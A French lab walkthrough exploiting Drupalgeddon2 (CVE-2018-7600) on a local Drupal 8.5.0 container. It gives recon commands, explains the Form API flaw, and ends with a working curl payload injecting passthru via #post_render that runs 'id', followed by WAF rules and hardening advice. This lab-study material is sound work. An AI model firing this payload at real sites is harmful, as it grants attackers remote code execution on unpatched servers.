
Guide de laboratoire pas à pas pour l'exploitation de CVE-2018-7600 (Drupalgeddon2) RCE dans Drupal 8.5.0, couvrant l'analyse de la surface d'attaque, l'identification de version, et l'exploitation via Form API injection.
Commencez par lister les conteneurs en cours d'exécution :
docker ps
D'après les résultats de docker ps, le conteneur pour ce Lab est :

p1/lab09:latest
Ce conteneur expose le port :
0.0.0.0:8011->80/tcp
Cela indique que le service à l'intérieur du conteneur écoute sur le port 80/tcp, et est mappé sur le port 8011 de l'hôte.
Le port 80/tcp est le port standard pour HTTP. Par conséquent, ce laboratoire cible est très probablement une application web HTTP. Pour confirmer le service web, j'envoie une requête HTTP en utilisant curl combiné avec l'accès à l'interface graphique de la page web.
curl -i http://192.168.3.137:8011/


Évaluation de la surface d'attaque
À partir de la réponse HTTP et de l'interface web, les informations suivantes ont été identifiées :
Web server: Apache/2.4.25 (Debian) Backend: PHP/7.2.3 CMS: Drupal Drupal version: 8.5.0 Install path: /core/install.php Public port: 8011 -> 80/tcp
Ces informations constituent des empreintes cruciales pour corréler avec les CVE. Plus précisément, Drupal 8.5.0 est la version directement liée à CVE-2018-7600, également connue sous le nom de Drupalgeddon2.
Selon l'avis officiel de Drupal, SA-CORE-2018-002 / CVE-2018-7600 affecte les versions suivantes :
>= 8.5.0 < 8.5.1
La cible actuelle exécute :
Drupal 8.5.0
se situant donc dans la plage de versions affectées.
⇒ Réflexion :
À ce stade, la version Drupal 8.5.0 est une preuve solide pour identifier la CVE suspectée. Je raisonne comme suit :
docker ps montre que le Lab expose le service HTTP via le port 8011.curl -i retourne une réponse HTTP valide depuis Apache/PHP./core/install.php.Drupal >=8.5.0 <8.5.1 est affecté par CVE-2018-7600.Drupal 8.5.0, ce qui la rend éligible selon les critères de version pour tester CVE-2018-7600.La cible est Drupal 8.5.0 fonctionnant sur Apache/PHP. Cette version se situe dans la plage affectée par CVE-2018-7600 selon l'avis officiel de Drupal. La prochaine étape consiste à vérifier les conditions d'exploitation réelles pour confirmer si la cible peut être soumise à une RCE.

À partir de l'étape précédente de prise d'empreintes, la cible affiche clairement : Drupal 8.5.0. Selon l'avis officiel de Drupal, la vulnérabilité SA-CORE-2018-002 / CVE-2018-7600 affecte les versions du noyau Drupal :
>= 8.5.0 < 8.5.1. La cible actuelle exécute exactement Drupal 8.5.0, la plaçant dans la plage de versions affectées. Selon l'avis Drupal, il s'agit d'une vulnérabilité d'exécution de code à distance dans le noyau Drupal, qui pourrait permettre à un attaquant d'exploiter plusieurs vecteurs d'attaque et de compromettre l'ensemble du site.
Cependant, vous pouvez voir que la cible redirige vers /core/install.php et l'interface graphique affiche l'écran d'installation de Drupal. Cela suggère que Drupal pourrait être dans un état d'installation incomplet. Si la configuration du site n'a pas été terminée, les points de terminaison courants utilisés pour déclencher Drupalgeddon2 comme /user/register, /user/password et /user/login pourraient ne pas fonctionner correctement. Par conséquent, il est nécessaire de vérifier ces points de terminaison.
curl -i http://192.168.3.137:8011/user/register curl -i http://192.168.3.137:8011/user/password curl -i http://192.168.3.137:8011/user/login

On peut voir que les points de terminaison sont toujours redirigés vers /core/install.php
Conclusion :
La cible exécute Drupal 8.5.0, se situant dans la plage de versions affectées par CVE-2018-7600 selon l'avis officiel de Drupal. Cependant, au moment du test, l'application est dans un état d'installation et redirige en continu les routes telles que /user/register, /user/password et /user/login vers /core/install.php.
Cela montre que les points de terminaison couramment utilisés pour vérifier Drupalgeddon2 ne fonctionnent pas encore comme ils le feraient sur un site Drupal entièrement installé. Par conséquent, la cible ne satisfait actuellement que la condition de version mais ne remplit pas encore les conditions d'exécution pour démontrer une exécution de code à distance.
=> Réflexion :
Nous devons prouver davantage que Drupal dans son état d'exécution peut traiter les routes/formulaires vulnérables, qu'un attaquant peut accéder aux points de terminaison sans authentification, et que des charges utiles de vérification comme id peuvent s'exécuter avec succès.
Sur la cible actuelle, les points de terminaison redirigent vers l'installateur, donc la prochaine étape est d'évaluer si l'écran d'installation de Drupal crée sa propre surface d'attaque, au lieu de conclure immédiatement à une RCE Drupalgeddon2.
Après avoir vérifié que les points de terminaison d'exécution de Drupal comme /user/register, /user/password et /user/login sont tous redirigés vers /core/install.php, j'ai procédé à l'analyse de l'écran d'installation.
Vérification du service de base de données supportant l'installateur
Étant donné que l'installateur Drupal est actuellement arrêté à l'étape de configuration de la base de données, j'ai vérifié si des services de base de données courants sont exposés extérieurement :
nmap -sV -p 3306,5432,33060 192.168.3.137

La cible expose actuellement l'installateur Drupal extérieurement, mais aucun service de base de données accessible directement depuis la machine de l'attaquant n'a été détecté.
Conclusion : Le laboratoire expose l'installateur Drupal 8.5.0 et présente une divulgation d'informations concernant la version vulnérable. CVE-2018-7600 est un vecteur suspecté valide, mais une exploitation réussie n'a pas encore été prouvée.
CVE-2018-7600 exploite une vulnérabilité dans l'API Form de Drupal - le système de rendu de formulaires qui utilise la structure Render Array. Lors du traitement d'une requête AJAX, Drupal utilise le paramètre element_parents pour localiser des éléments dans l'arborescence du formulaire sans vérifier (assainir) les clés commençant par le caractère #. Les attaquants injectent des propriétés comme #post_render, #markup et #type via des données POST pour forcer le moteur de rendu à exécuter des fonctions PHP arbitraires (par exemple, exec, passthru, system).
Condition préalable : Au moins un point de terminaison utilisant l'API Form doit retourner une réponse valide (non redirigée, non bloquée par le contrôle d'accès) afin que l'attaquant puisse envoyer une requête AJAX contenant la charge utile.
Points de terminaison couramment utilisés dans les PoCs publics :
/user/register (formulaire d'inscription - aucune connexion requise)/user/password (formulaire de mot de passe oublié - aucune connexion requise)/user/login (formulaire de connexion - aucune connexion requise)Sur la cible actuelle : Les 3 points de terminaison ci-dessus sont redirigés via 302 vers /core/install.php ⇒ pas encore satisfait
La vulnérabilité se produit dans le pipeline de traitement AJAX de l'API Form : FormBuilder → RenderArray → exécution du rappel #post_render. Ce pipeline ne fonctionne que lorsque Drupal amorce tous les sous-systèmes nécessaires (routage, état du formulaire, moteur de rendu).
Dans l'état installateur, Drupal fonctionne en mode bootstrap minimal - initialisant juste assez pour afficher le formulaire d'installation, mais des sous-systèmes comme le routage, le gestionnaire AJAX et le pipeline de rendu complet pourraient ne pas être encore complètement activés.
Sur la cible actuelle : Drupal est dans l'état installateur ⇒ nécessite une vérification supplémentaire
# dans les requêtesLe correctif officiel de Drupal ajoute la classe RequestSanitizer avec la méthode stripDangerousValues() - analysant tous les $_GET, $_POST et $_COOKIE, et supprimant toutes les clés commençant par # dans les premières étapes du bootstrap.
Si la cible n'est pas corrigée (exécutant 8.5.0), la classe RequestSanitizer n'existe pas → les entrées contenant # ne seront pas filtrées ⇒ satisfait
Conclusion : La cible satisfait la condition de version et l'absence du correctif. Cependant, les conditions de point de terminaison disponible et de bootstrap complet n'ont pas encore été démontrées en raison de l'état d'installation de Drupal. La prochaine étape consiste à tester si le formulaire d'installation (/core/install.php) - qui utilise également l'API Form et Render Array - peut être exploité comme substitut aux points de terminaison standards.
Après avoir identifié que la cible exécute Drupal 8.5.0 dans l'état d'installation, les points de terminaison standards habituellement utilisés pour exploiter CVE-2018-7600 tels que /user/register, /user/password et /user/login sont tous redirigés vers /core/install.php. J'ai pensé que cela pouvait être dû au fait que je n'avais pas terminé la configuration de l'interface, mais j'ai quand même voulu approfondir l'investigation.
Après vérification, il a été découvert que le formulaire d'installation utilise la même API Form et le même moteur Render Array vulnérables. Cependant, le pipeline AJAX nécessite le Cache de Formulaire pour fonctionner — qui utilise par défaut la base de données comme backend. Comme il n'y a pas encore de base de données, la requête AJAX vers le formulaire d'installation retourne une FormAjaxException à FormBuilder.php:333, confirmant que le pipeline est activé mais a échoué à l'étape de chargement du cache.
Réflexion : Je vais installer Drupal en utilisant SQLite - une base de données qui ne nécessite pas de serveur dédié, seulement un accès en écriture de fichier sur le disque du conteneur.
Avec Drupal en ligne, le point de terminaison /user/register fonctionne normalement et sert de point d'injection. La charge utile utilise le mécanisme d'injection de tableau de rendu :
element_parents=account/mail/%23value — localise le champ mail dans l'arborescence du formulairemail[#post_render][]=passthru — injecte la fonction de rappel passthru()mail[#markup]=id — le contenu passé à passthru() comme argumentcurl -v "http://192.168.3.137:8011/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax" \
-H "X-Requested-With: XMLHttpRequest" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data "form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=passthru&mail[#type]=markup&mail[#markup]=id"

Analyse de la réponse :
Le résultat uid=33(www-data) indique que la charge utile a été exécutée sur le système d'exploitation sous les privilèges de l'utilisateur www-data. C'est l'utilisateur typiquement utilisé pour exécuter le serveur web Apache/PHP sur Linux basé sur Debian. Étant donné que la commande id s'est exécutée côté serveur et a retourné une sortie, une exécution de code à distance réussie est confirmée. Cependant, le privilège actuel est www-data, pas root, donc la portée de contrôle initiale est limitée aux permissions du serveur web.
Contrôle d'accès aux points de terminaison
Si le site ne nécessite pas d'enregistrement public d'utilisateurs, désactivez le point de terminaison /user/register :
Règles WAF — Blocage des charges utiles caractéristiques
Ajoutez des règles WAF pour bloquer les requêtes contenant des clés telles que #post_render, #pre_render ou #markup dans le corps POST :
SecRule REQUEST_BODY "@contains #post_render" "deny,status:403"
SecRule REQUEST_BODY "@contains #pre_render" "deny,status:403"
SecRule ARGS_NAMES "@rx ^#" "deny,status:403"
Principe du moindre privilège pour le serveur web
Le serveur web ne doit pas fonctionner sous les privilèges root. Les résultats du laboratoire confirment que le processus s'exécute en tant que uid=33(www-data) — ce qui est la configuration correcte, mais les améliorations suivantes devraient être apportées :
www-data strictement aux répertoires nécessaires (sites/default/files/)/var/www/html/core/, /var/www/html/modules/)N'exposez pas l'installateur sur Internet
Dans ce laboratoire, l'installateur est public — un attaquant peut l'exploiter pour réinstaller Drupal en utilisant SQLite et effectuer une exploitation. En production réelle, il est nécessaire :
/core/install.php après la fin de l'installation.htaccess ou une configuration du serveur web pour bloquer l'accès externe à /core/install.php<Files "install.php">
Order deny,allow
Deny from all
</Files>